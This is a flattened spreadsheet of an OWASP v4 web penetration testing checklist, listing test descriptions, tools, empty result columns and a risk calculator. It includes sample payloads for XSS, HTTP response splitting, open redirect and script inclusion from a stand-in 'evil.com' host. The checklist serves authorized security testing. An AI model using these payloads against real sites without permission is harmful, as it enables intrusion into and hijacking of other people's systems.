OWASPv4 Checklist
OWASPv4 Checklist
By Prathan Phongthiproek
Configuration and
Deploy Management Test Name
Testing
Identity Management
Test Name
Testing
OTG-IDENT-001 Test Role Definitions
Session Management
Test Name
Testing
OTG-SESS-001 Testing for Bypassing Session Management Schema
Oracle Testing
MySQL Testing
Testing PostgreSQL
MS Access Testing
Not Started
Pass
Issues
N/A
Description Tools
Use a search engine to search for Network diagrams and Configurations, Google Hacking, Sitedigger,
Credentials, Error message content. Shodan, FOCA, Punkspider
Find the version and type of a running web server to determine known Httprint, Httprecon,
vulnerabilities and the appropriate exploits. Using Desenmascarame
"HTTP header field ordering" and "Malformed requests test".
Analyze robots.txt and identify <META> Tags from website. Browser, curl, wget
Webhosting.info, dnsrecon,
Find applications hosted in the webserver (Virtual hosts/Subdomain), non- Nmap, fierce, Recon-ng,
standard ports, DNS zone transfers Intrigue
Find sensitive information from webpage comments and Metadata on Browser, curl, wget
source code.
Description Tools
Identify HSTS header on Web server through HTTP response header. Burp Proxy, ZAP, curl
curl -s -D- https://domain.com/ | grep Strict
Analyse the permissions allowed from the policy files
Burp Proxy, ZAP, Nikto
(crossdomain.xml/clientaccesspolicy.xml) and allow-access-from.
Description Tools
Generic login error statement check, return codes/parameter values, Browser, Burp Proxy, ZAP
enumerate all possible valid userids (Login system, Forgot password)
User account names are often highly structured (e.g. Joe Bloggs
account name is jbloggs and Fred Nurks account name is fnurks) Browser, Burp Proxy, ZAP
and valid account names can easily be guessed.
Guest and Training accounts are useful ways to acquaint potential users
with system functionality prior to them completing the authorisation Burp Proxy, ZAP
process required for access.Evaluate consistency between access policy
and guest/training account access permissions.
Verify the identity requirements for user registration align with
Burp Proxy, ZAP
business/security requirements. Validate the registration process.
Description Tools
Check referrer whether its HTTP or HTTPs. Sending data through HTTP Burp Proxy, ZAP
and HTTPS.
Testing for default credentials of common applications, Testing for default
Burp Proxy, ZAP, Hydra
password of new accounts.
Evaluate the account lockout mechanisms ability to mitigate
brute force password guessing. Evaluate the unlock mechanisms Browser
resistance to unauthorized account unlocking.
Force browsing (/admin/main.php, /page.asp?authenticated=yes), Burp Proxy, ZAP
Parameter Modification, Session ID prediction, SQL Injection
Look for passwords being stored in a cookie. Examine the cookies stored
by the application. Verify that the credentials are not stored in clear text, Burp Proxy, ZAP
but are hashed. Autocompleted=off?
Check browser history issue by clicking "Back" button after logging out. Burp Proxy, ZAP, Firefox add-
Check browser cache issue from HTTP response headers (Cache- on CacheViewer2
Control: no-cache)
Testing for weak pre-generated questions, Testing for weak self-generated Browser
question, Testing for brute-forcible answers (Unlimited attempts?)
Test password reset (Display old password in plain-text?, Send via email?,
Random token on confirmation email ?), Test password change (Need old Browser, Burp Proxy, ZAP
password?), CSRF vulnerability ?
Understand the primary mechanism and Identify other channels (Mobile
Browser
App, Call center, SSO)
Description Tools
dot-dot-slash attack (../), Directory traversal, Local File inclusion/Remote
Burp Proxy, ZAP, Wfuzz
File Inclusion.
Access a resource without authentication?, Bypass ACL, Force browsing
Burp Proxy (Autorize), ZAP
(/admin/adduser.jsp)
Testing for role/privilege manipulate the values of hidden variables.
Burp Proxy (Autorize), ZAP
Change some param groupid=2 to groupid=1
Force changing parameter value (?invoice=123 -> ?invoice=456) Burp Proxy (Autorize), ZAP
Description Tools
SessionID analysis prediction, unencrypted cookie transport, Burp Proxy, ForceSSL, ZAP,
brute-force. CookieDigger
Check HTTPOnly and Secure flag, expiration, inspect for sensitive
Burp Proxy, ZAP
data.
The application doesn't renew the cookie after a successfully user
Burp Proxy, ZAP
authentication.
Encryption & Reuse of session Tokens vulnerabilities, Send
Burp Proxy, ZAP
sessionID with GET method ?
Burp Proxy
(csrf_token_detect), burpy,
URL analysis, Direct access to functions without any token. ZAP
Check reuse session after logout both server-side and SSO. Burp Proxy, ZAP
Check session timeout, after the timeout has passed, all session tokens
Burp Proxy, ZAP
should be destroyed or be unusable.
The application uses the same session variable for more than one
purpose. An attacker can potentially access pages in an order Burp Proxy, ZAP
unanticipated by the developers so that the session variable is set in one
context and then used in another.
Description Tools
Check for input validation, Replace the vector used to identify XSS, XSS Burp Proxy, ZAP, Xenotix XSS
with HTTP Parameter Pollution.
Check input forms/Upload forms and analyze HTML codes, Leverage XSS Burp Proxy, ZAP, BeEF, XSS
with BeEF Proxy
Craft custom HTTP requests to test the other methods to bypass URL
netcat
authentication and authorization.
Identify any form or action that allows user-supplied input to bypass Input ZAP, HPP Finder (Chrome
validation and filters using HPP Plugin)
param=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html Burp Proxy, ZAP, netcat
%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Sorry,
%20System%20Down</html>
Description Tools
Locate error codes generated from applications or web servers. Collect
sensitive information from that errors (Web Server, Application Server, Burp Proxy, ZAP
Database)
Invalid Input / Empty inputs
Input that contains non alphanumeric characters or query syn
tax Burp Proxy, ZAP
Access to internal pages without authentication
Bypassing application flow
Description Tools
Identify SSL service, Idectify weak ciphers/protocols (ie. RC4, BEAST, testssl.sh, SSL Breacher
CRIME, POODLE)
Description Tools
Looking for data entry points or hand off points between systems or Burp Proxy, ZAP
software.
Once found try to insert logically invalid data into the application/system.
Description Tools
Test for the user inputs obtained from client-side JavaScript Objects Burp Proxy, DOMinator
Inject JavaScript code:
Burp Proxy, ZAP
www.victim.com/?javascript:alert(1)
Send malicious HTML code:
Burp Proxy, ZAP
?user=<img%20src='aaa'%20onerror=alert(1)>
Modify untrusted URL input to a malicious site: (Open Redirect)
Burp Proxy, ZAP
?redirect=www.fake-target.site
Inject code in the CSS context :
www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; Burp Proxy, ZAP
(Opera [8,12])
www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
External JavaScript could be easily injected in the trusted web site
Burp Proxy, ZAP
www.victim.com/#http://evil.com/js.js
Check the HTTP headers in order to understand how CORS is
Burp Proxy, ZAP
used (Origin Header)
Decompile, Undefined variables, Unsafe methods, Include malicious SWF FlashBang, Flare, Flasm,
(http://victim/file.swf?lang=http://evil SWFScan, SWF Intruder
Discover if a website is vulnerable by loading into an iframe, create simple Burp Proxy, ClickjackingTool
web page that includes a frame containing the target.
Identify that the application is using WebSockets by inspecting ws:// or Burp Proxy, Chrome, ZAP,
wss:// URI scheme.Use Google Chrome's Developer Tools to view the WebSocket Client
Network WebSocket communication. Check Origin, Confidentiality and
Integrity, Authentication, Authorization, Input Sanitization
Analyse JavaScript code looking for how Web Messaging is implemented. Burp Proxy, ZAP
How the website is restricting messages from untrusted domain and how
the data is handled even for trusted domains
Determine whether the website is storing sensitive data in the storage. Chrome, Firebug, Burp Proxy,
XSS in localstorage ZAP
http://server/StoragePOC.html#<img src=x onerror=alert(1)>
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Result Remark
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Not Started
Vulnerability Affected Likeliho
No. OTG Impact Risk
Name Host/Path od
www.example.com/n
1 SQL Injection OTG-INPVAL-005 High Moderate
ews.php (id,page) High
Test
Observation/Implica Recommendat
Eviden
tion ion
ce
xxx-1
OWASP Risk Assessment Calculator
Risk Assessment Calculator
Likelihood factors
Threat Agent Factors
Skills required Network and programmaing skills [3] 3
Motive Possible reward [4] 4
Full access or expensive resources required
Opportunity 0
[0]
Population Size System Administrators [2] 2
Vulnerability Factors
Easy of Discovery Practically impossible [1] 1
Ease of Exploit Easy [5] 5
Awareness Hidden [4] 4
Intrusion DetectionLogged and reviewed [3] 3
Impact
Likelihood ->Low<- Moderate High
->Low<- ->Note<- Low Moderate
Moderate Low Moderate High
High Moderate High Critical
Assessment Calculator
essment Calculator
Impact factors REF
Technical Impact Factors
Loss of confidentialit Minimal non-sensitive data disclosed [2] 2
Loss of Integrity Minimal seriously corrupt data [3] 3
Minimal secondary services interrupted
Loss of Availability 1
[1]
Loss of Accountabilit Not Applicable [0] 0
Note
http://paradoslabs.nl/owaspcalc/index.php
Skills required Motive
Select an option Select an option
Not Applicable [0] 0 Not Applicable [0] 0
Security penetration skills [1] 1 Low or no reward [1] 1
Network and programmaing skills [3] 3 Possible reward [4] 4
Advanced computer user [4] 4 High reward [9] 9
Some technical skills [6] 6
no technical skills [9] 9